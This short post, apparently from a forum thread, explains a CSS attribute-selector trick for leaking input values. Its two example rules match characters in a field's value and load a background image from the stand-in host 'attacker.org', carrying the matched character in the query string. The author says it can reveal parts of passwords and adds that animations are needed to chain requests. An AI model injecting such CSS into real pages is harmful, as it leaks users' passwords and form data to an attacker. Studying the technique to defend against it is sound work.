Another interesting way of getting attribute values is using...

  [value*=a] {
    background-image: url('attacker.org/lolz.png?a');
  }

  [value*=b] {
    background-image: url('attacker.org/lolz.png?b');
  }

It can work on passwords too by the way, maybe it can give you an idea of the order based on the query order, and remember... this work only if the data got already loaded or the attribute got changed by JavaScript and not by manually typing...

Edit: Tested that but it load the last bg only (make sense), so you need to use animation for that to load them one after one.